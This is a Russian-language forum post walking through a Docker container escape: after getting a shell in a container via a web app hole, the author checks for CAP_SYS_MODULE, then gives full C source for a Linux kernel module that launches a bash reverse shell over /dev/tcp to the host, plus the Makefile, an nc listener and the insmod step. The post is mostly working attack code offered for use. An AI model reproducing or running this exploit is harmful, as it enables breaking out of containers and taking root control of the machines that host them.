Пожалуйста, обратите внимание, что пользователь заблокирован
Но проблемы с безопасностью не кто не отменял, к примеру через уязвимость в веб приложении мы получаем шелл и попадаем в докер контейнер повезло если с правами root, и если повезло и получилось поднять привелегии, а может быть и от юзера разрешено , что дальше? Смотрим.В реалиях 21 века все чаще и чаще на докер контейнерах разворачиваются сервера, web приложения, хосты.
Расскажу и покажу один из примеров как можно выйти из контейнера в тачку на которой этот контейнер поднят.
Кароч смотрим есть ли у нас такая возможность
capsh --print
Простор для полетов широк, нас интересует самое сладкое это CAP_SYS_MODULE подробнее о capabilities https://linux-audit.com/linux-capabilities-101/
смотрим ip нашей тачки
мы 172.17.0.2 а наш хост на которой поднят Docker в этом случае будет 172.17.0.1
Пишем код
C:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("random12345(C)");
MODULE_DESCRIPTION("reverse shell");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/"ipaddress"/"port" 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
По коду
Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра.
Функция call_usermodehelper принимает три параметра: argv, envp и UMH_WAIT_EXEC.
Аргументы программы хранятся в argv.
Переменные среды хранятся в envp.
UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу.
Сохраняем указанную выше программу как «reverse.c».
Создаем Makefile и компилим
obj-m +=reverse.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[/CODE]
Собираем:
make
поднимаем листнера для принятия рутового шела с тачки родителя 8): nc -vnlp 4444
Запускаем скрипт:
insmod reverse.ko
.....magic.....
Наслаждаемся выходом из контейнера в тачку на которой его подняли! ЁУ
Ссылки:
IBM Developer
Usermode Helper API
We already know that fork() and exec() are system calls for making a new process from user space. However, system calls cannot be called in kernel space. Then how to execute a process from kernel space? Usermode Helper API is for creating a user mode process from kernel space. Data structure...
p.s
В новых ядрах начиная с 2.6 поддержка загрузки сетевых модулей при помощи CAP_SYS_MODULE признана устаревшей. И при попытке использовать виртуальные адаптеры в логах появляется сообщение:
Loading kernel module for a network device with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-tun instead
Для того, чтобы исправить нужно в файл /etc/modprobe.d/dist.conf ( если файл не существует, то нужно создать ) добавить строку:
alias netdev-tun tun
В зависимости от имени интерфейса на которое ругается в сообщении.
Последнее редактирование: